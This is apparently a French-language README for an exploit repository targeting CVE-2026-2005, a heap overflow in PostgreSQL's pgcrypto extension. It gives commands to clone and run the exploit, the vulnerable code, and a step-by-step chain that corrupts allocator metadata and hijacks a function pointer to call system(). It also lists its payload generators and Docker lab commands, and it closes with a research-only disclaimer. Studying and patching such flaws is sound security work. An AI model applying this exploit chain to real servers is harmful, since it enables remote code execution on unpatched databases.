
# Exploit pour CVE-2026-2005, un débordement de tas dans l'extension pgcrypto de PostgreSQL menant à une exécution de code à distance. Comprend des générateurs de PoC, un laboratoire Docker et une analyse technique détaillée.
Exécution de code à distance via une seule requête SQL ciblant l'extension pgcrypto de PostgreSQL. La vulnérabilité est un débordement de tampon sur le tas dans pgp_parse_pubenc_sesskey() qui permet de corrompre les métadonnées de l'allocateur MemoryContext interne de PostgreSQL, permettant l'exécution de code arbitraire en tant qu'utilisateur postgres.
| CVE | CVE-2026-2005 |
| Composant | contrib/pgcrypto/pgp-pubdec.c |
| CWE | CWE-122 (Débordement de tampon sur le tas) |
| CVSSv3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Versions affectées | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| Versions corrigées | 14.21, 15.16, 16.12, 17.8, 18.2 |
| Divulgué | 2026-02-12 |
| Commit de correction | 379695d3cc70d040b547d912ce4842090d917ece |



git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# Attendre ~5s que postgres s'initialise
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit

// contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3; // contrôlé par l'attaquant
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len); // sess_key est uint8[32]
ctx->sess_key est un tampon fixe de 32 octets intégré dans une structure PGP_Context allouée sur le tas. Un message PGP malveillant avec une clé de session chiffrée RSA surdimensionnée porte sess_key_len jusqu'à ~200 octets, débordant dans les allocations adjacentes du tas. La correction ajoute une vérification des limites sess_key_len > PGP_MAX_KEY.
sess_key[32] écrit des métadonnées d'allocateur factices dans l'allocation MBuf adjacenteMBuf->data = NULL pour que explicit_bzero soit ignoré lors du nettoyagehdrmask forgé se décode en blockoffset=64, redirigeant le pointeur de bloc vers des données contrôlées par l'attaquantAllocSetFree écrit l'adresse du bloc dans MC+16 (le champ MemoryContext->methods), remplaçant le pointeur de table virtuelleMemoryContextDelete(MC) appelle methods->delete_context(MC) via notre fausse table virtuelle → system(MC)system() lit la structure MemoryContext comme une chaîne : NodeTag 0x1D5 = "\xd5\x01\x00\x00" → exécute /usr/local/bin/\xd5\x01pgcrypto installée (CREATE EXTENSION pgcrypto)/usr/local/bin/\xd5\x01 (inclus dans Dockerfile.exploit)├── README.md
├── poc/
│ ├── exploit.py # Générateur + exécuteur d'exploit autonome
│ ├── gen_exploit_v7.py # Constructeur de charge utile annoté
│ ├── gen_payload.py # Générateur de PoC crash uniquement (toutes tailles de débordement)
│ ├── poc_big.sql # PoC de crash pré-généré (SIGSEGV)
│ └── poc_minimal.sql # PoC de débordement minimal de 4 octets
├── lab/
│ ├── docker-compose.yml # Laboratoire complet : vulnérable, corrigé, debug, exploit
│ ├── Dockerfile.exploit # Build de release + script déclencheur (cible RCE)
│ ├── Dockerfile.vuln # Build vulnérable standard (démo de crash)
│ ├── Dockerfile.debug # Build Cassert (démo d'assertion)
│ ├── init.sql # Initialisation de la base de données
│ └── setup.sh # Assistant de configuration du laboratoire
├── reports/
│ ├── RCE-CHAIN.md # Rapport technique détaillé d'exploitation
│ ├── REPORT.md # Rapport d'analyse de la vulnérabilité
│ └── TODO-FOR-RCE.md # Journal de développement (terminé)
├── screenshots/
│ ├── 01-target-verification.png
│ ├── 02-exploit-fire.png
│ ├── 03-rce-proof.png
│ └── 04-full-run.png
└── src/ # Extraits de code source pertinents
| Conteneur | Port | Objectif |
|---|---|---|
pg-exploit | 5436 | Cible RCE (17.7 standard + script déclencheur) |
pg-vuln | 5433 | Démo de crash (17.7 standard, SIGSEGV) |
pg-fixed | 5434 | Build corrigé (17.8, rejette la charge utile) |
pg-debug | 5435 | Build de débogage (cassert SIGABRT avec attribution de source) |
# Démarrer tous les conteneurs
cd lab && docker compose up -d
# Démo de crash (SIGSEGV sur build standard)
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"
# Build corrigé (rejette proprement)
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big
# Build de débogage (assertion avec fichier:ligne)
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"
postgres:17.7-bookworm. Les builds/environnements différents nécessitent un recalibrage des adresses (via GDB ou fuite d'informations).SELECT digest('x','md5')) dans la même connexion stabilise la disposition du tas avant la requête d'exploitation.\xd5\x01 dans le PATH. Le Dockerfile le pré-installe. Une exploitation dans le monde réel nécessiterait un accès en écriture préalable ou une approche ROP/one-gadget différente.--enable-cassert abandonnent sur assertion avant l'écriture dans la liste libre.379695d)Cet exploit est fourni uniquement à des fins de recherche en sécurité autorisée et d'éducation. Utilisez-le uniquement dans des environnements de laboratoire contrôlés avec une autorisation explicite.